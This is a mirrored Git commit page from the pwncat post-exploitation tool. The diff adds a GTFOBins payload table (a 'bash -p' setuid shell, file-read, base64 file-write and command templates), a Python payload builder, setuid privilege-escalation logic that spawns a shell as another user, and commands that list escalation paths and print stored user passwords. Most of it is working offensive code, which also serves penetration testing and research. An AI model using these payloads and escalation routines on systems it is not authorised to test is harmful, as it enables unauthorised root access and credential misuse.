mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Merge branch 'master' of https://github.com/calebstewart/pwncat
This commit is contained in:
commit
b4aae032a0
12
data/gtfobins.json
Normal file
12
data/gtfobins.json
Normal file
@ -0,0 +1,12 @@
|
||||
[
|
||||
{
|
||||
"name": "bash",
|
||||
"shell": "{path} -p",
|
||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
||||
},
|
||||
"command": "{path} -p -c {command}"
|
||||
}
|
||||
]
|
@ -6,6 +6,7 @@ import socket
|
||||
import sys
|
||||
|
||||
from pwncat.pty import PtyHandler
|
||||
from pwncat import gtfobins
|
||||
from pwncat import util
|
||||
|
||||
|
||||
@ -13,6 +14,8 @@ def main():
|
||||
|
||||
# Default log-level is "INFO"
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
# Ensure our GTFObins data is loaded
|
||||
gtfobins.Binary.load("data/gtfobins.json")
|
||||
|
||||
parser = argparse.ArgumentParser(prog="pwncat")
|
||||
mutex_group = parser.add_mutually_exclusive_group(required=True)
|
||||
|
101
pwncat/gtfobins.py
Normal file
101
pwncat/gtfobins.py
Normal file
@ -0,0 +1,101 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List, Dict, Any
|
||||
from shlex import quote
|
||||
import binascii
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
|
||||
|
||||
class Binary:
|
||||
|
||||
_binaries: List[Dict[str, Any]] = []
|
||||
|
||||
def __init__(self, path: str, data: Dict[str, Any]):
|
||||
""" build a new binary from a dictionary of data. The data is taken from
|
||||
the GTFOBins JSON database """
|
||||
self.data = data
|
||||
self.path = path
|
||||
|
||||
def shell(self, shell_path: str) -> str:
|
||||
""" Build a a payload which will execute the binary and result in a
|
||||
shell. `path` should be the path to the shell you would like to run. In
|
||||
the case of GTFOBins that _are_ shells, this will likely be ignored, but
|
||||
you should always provide it.
|
||||
"""
|
||||
|
||||
if "shell" not in self.data:
|
||||
return None
|
||||
|
||||
if isinstance(self.data["shell"], str):
|
||||
enter = self.data["shell"]
|
||||
exit = "exit"
|
||||
else:
|
||||
enter = self.data["shell"]["enter"]
|
||||
exit = self.data["shell"].get("exit", "exit")
|
||||
|
||||
return enter.format(path=quote(self.path), shell=quote(shell_path)), exit
|
||||
|
||||
def read_file(self, file_path: str) -> str:
|
||||
""" Build a payload which will leak the contents of the specified file.
|
||||
"""
|
||||
|
||||
if "read_file" not in self.data:
|
||||
return None
|
||||
|
||||
return self.data["read_file"].format(
|
||||
path=quote(self.path), lfile=quote(file_path)
|
||||
)
|
||||
|
||||
def write_file(self, file_path: str, data: bytes) -> str:
|
||||
""" Build a payload to write the specified data into the file """
|
||||
|
||||
if "write_file" not in self.data:
|
||||
return None
|
||||
|
||||
if isinstance(data, str):
|
||||
data = data.encode("utf-8")
|
||||
|
||||
if self.data["write_file"]["type"] == "base64":
|
||||
data = base64.b64encode(data)
|
||||
elif self.data["write_file"]["type"] == "hex":
|
||||
data = binascii.hexlify(data)
|
||||
elif self.data["write_file"]["type"] != "raw":
|
||||
raise RuntimeError(
|
||||
"{self.data['name']}: unknown write_file type: {self.data['write_file']['type']}"
|
||||
)
|
||||
|
||||
return self.data["write_file"]["payload"].format(
|
||||
path=quote(self.path),
|
||||
lfile=quote(file_path),
|
||||
data=quote(data.decode("utf-8")),
|
||||
)
|
||||
|
||||
def command(self, command: str) -> str:
|
||||
""" Build a payload to execute the specified command """
|
||||
|
||||
if "command" not in self.data:
|
||||
return None
|
||||
|
||||
return self.data["command"].format(
|
||||
path=quote(self.path), command=quote(command)
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def load(cls, gtfo_path: str):
|
||||
with open(gtfo_path) as filp:
|
||||
cls._binaries = json.load(filp)
|
||||
|
||||
@classmethod
|
||||
def find(cls, path: str, name: str = None) -> "Binary":
|
||||
""" Locate the given gtfobin and return the Binary object. If name is
|
||||
not given, it is assumed to be the basename of the path. """
|
||||
|
||||
if name is None:
|
||||
name = os.path.basename(path)
|
||||
|
||||
for binary in cls._binaries:
|
||||
if binary["name"] == name:
|
||||
return Binary(path, binary)
|
||||
|
||||
return None
|
@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List
|
||||
from typing import Type, List, Tuple
|
||||
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
@ -30,16 +30,35 @@ class Finder:
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
def search(self, target_user: str = None) -> List[Technique]:
|
||||
""" Search for privesc techniques for the current user to get to the
|
||||
target user. If target_user is not specified, all techniques for all
|
||||
users will be returned. """
|
||||
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
techniques.extend(method.enumerate())
|
||||
|
||||
if target_user is not None:
|
||||
techniques = [
|
||||
technique for technique in techniques if technique.user == target_user
|
||||
]
|
||||
|
||||
return techniques
|
||||
|
||||
def escalate(
|
||||
self,
|
||||
target_user: str = None,
|
||||
depth: int = None,
|
||||
chain: List[Technique] = [],
|
||||
starting_user=None,
|
||||
):
|
||||
) -> List[Tuple[Technique, str]]:
|
||||
""" Search for a technique chain which will gain access as the given
|
||||
user. """
|
||||
|
||||
if target_user is None:
|
||||
target_user = "root"
|
||||
|
||||
current_user = self.pty.current_user
|
||||
if (
|
||||
target_user == current_user["name"]
|
||||
|
@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator, Callable, List, Any
|
||||
from dataclasses import dataclass
|
||||
from colorama import Fore
|
||||
import threading
|
||||
import socket
|
||||
import os
|
||||
@ -23,7 +24,7 @@ class Technique:
|
||||
ident: Any
|
||||
|
||||
def __str__(self):
|
||||
return f"{self.user} via {self.method.name}"
|
||||
return self.method.get_name(self)
|
||||
|
||||
|
||||
class Method:
|
||||
@ -51,6 +52,9 @@ class Method:
|
||||
Raise a PrivescError if there was a problem. """
|
||||
raise NotImplementedError("no execute method implemented")
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}"
|
||||
|
||||
def __str__(self):
|
||||
return self.name
|
||||
|
||||
@ -99,3 +103,6 @@ class SuMethod(Method):
|
||||
|
||||
if self.pty.whoami() != technique.user:
|
||||
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.name}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}"
|
||||
|
@ -8,6 +8,7 @@ from colorama import Fore, Style
|
||||
|
||||
from pwncat.util import info, success, error, progress, warn
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique
|
||||
from pwncat import gtfobins
|
||||
|
||||
# https://gtfobins.github.io/#+suid
|
||||
known_setuid_privescs = {
|
||||
@ -121,17 +122,18 @@ class SetuidMethod(Method):
|
||||
|
||||
for user, paths in self.suid_paths.items():
|
||||
for path in paths:
|
||||
for name, cmd in known_setuid_privescs.items():
|
||||
if os.path.basename(path) == name:
|
||||
yield Technique(user, self, (path, name, cmd))
|
||||
binary = gtfobins.Binary.find(path)
|
||||
if binary is not None:
|
||||
yield Technique(user, self, binary)
|
||||
|
||||
def execute(self, technique: Technique):
|
||||
""" Run the specified technique """
|
||||
|
||||
path, name, commands = technique.ident
|
||||
binary = technique.ident
|
||||
enter, exit = binary.shell("/bin/bash")
|
||||
|
||||
info(
|
||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
|
||||
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{binary.path}{Style.RESET_ALL}",
|
||||
)
|
||||
|
||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
@ -141,13 +143,14 @@ class SetuidMethod(Method):
|
||||
# self.pty.run(each_command.format(path), wait=False)
|
||||
|
||||
# Run the start commands
|
||||
self.pty.run(commands[0].format(path) + "\n")
|
||||
self.pty.run(enter + "\n")
|
||||
self.pty.recvuntil("\n")
|
||||
|
||||
# sleep(0.1)
|
||||
user = self.pty.run("whoami").strip().decode("utf-8")
|
||||
if user == technique.user:
|
||||
success("privesc succeeded")
|
||||
return commands[1]
|
||||
return exit
|
||||
else:
|
||||
error(f"privesc failed (still {user} looking for {technique.user})")
|
||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
||||
@ -156,6 +159,9 @@ class SetuidMethod(Method):
|
||||
)
|
||||
if after_shell_level > before_shell_level:
|
||||
info("exiting spawned inner shell")
|
||||
self.pty.run(commands[1], wait=False) # here be dragons
|
||||
self.pty.run(exit, wait=False) # here be dragons
|
||||
|
||||
raise PrivescError(f"escalation failed for {technique}")
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})"
|
||||
|
@ -496,6 +496,20 @@ class PtyHandler:
|
||||
""" Attempt privilege escalation """
|
||||
|
||||
parser = argparse.ArgumentParser(prog="privesc")
|
||||
parser.add_argument(
|
||||
"--list",
|
||||
"-l",
|
||||
action="store_true",
|
||||
help="do not perform escalation. list potential escalation methods",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--all",
|
||||
"-a",
|
||||
action="store_const",
|
||||
dest="user",
|
||||
const=None,
|
||||
help="when listing methods, list for all users. when escalating, escalate to root.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--user",
|
||||
"-u",
|
||||
@ -517,10 +531,18 @@ class PtyHandler:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
try:
|
||||
self.privesc.escalate(args.user, args.depth)
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"escalation failed: {exc}")
|
||||
if args.list:
|
||||
techniques = self.privesc.search(args.user)
|
||||
if len(techniques) == 0:
|
||||
util.warn("no techniques found")
|
||||
else:
|
||||
for tech in techniques:
|
||||
util.info(f"escalation to {tech}")
|
||||
else:
|
||||
try:
|
||||
self.privesc.escalate(args.user, args.depth)
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"escalation failed: {exc}")
|
||||
|
||||
@with_parser
|
||||
def do_download(self, args):
|
||||
@ -643,13 +665,27 @@ class PtyHandler:
|
||||
""" Set or view the currently assigned variables """
|
||||
|
||||
if len(argv) == 0:
|
||||
util.info("local variables:")
|
||||
for k, v in self.vars.items():
|
||||
print(f" {k} = {shlex.quote(v)}")
|
||||
|
||||
util.info("user passwords:")
|
||||
for user, data in self.users.items():
|
||||
if data["password"] is not None:
|
||||
print(
|
||||
f" {Fore.GREEN}{user}{Fore.RESET} -> {Fore.CYAN}{shlex.quote(data['password'])}{Fore.RESET}"
|
||||
)
|
||||
return
|
||||
|
||||
parser = argparse.ArgumentParser(prog="set")
|
||||
parser.add_argument("variable", help="the variable name")
|
||||
parser.add_argument("value", help="the new variable type")
|
||||
parser.add_argument(
|
||||
"--password",
|
||||
"-p",
|
||||
action="store_true",
|
||||
help="set the password for the given user",
|
||||
)
|
||||
parser.add_argument("variable", help="the variable name or user")
|
||||
parser.add_argument("value", help="the new variable/user password value")
|
||||
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
@ -657,7 +693,12 @@ class PtyHandler:
|
||||
# The arguments were parsed incorrectly, return.
|
||||
return
|
||||
|
||||
self.vars[args.variable] = args.value
|
||||
if args.password is not None and args.variable not in self.users:
|
||||
util.error(f"{args.variable}: no such user")
|
||||
elif args.password is not None:
|
||||
self.users[args.variable]["password"] = args.value
|
||||
else:
|
||||
self.vars[args.variable] = args.value
|
||||
|
||||
def do_help(self, argv):
|
||||
""" View help for local commands """
|
||||
|
Loading…
Reference in New Issue
Block a user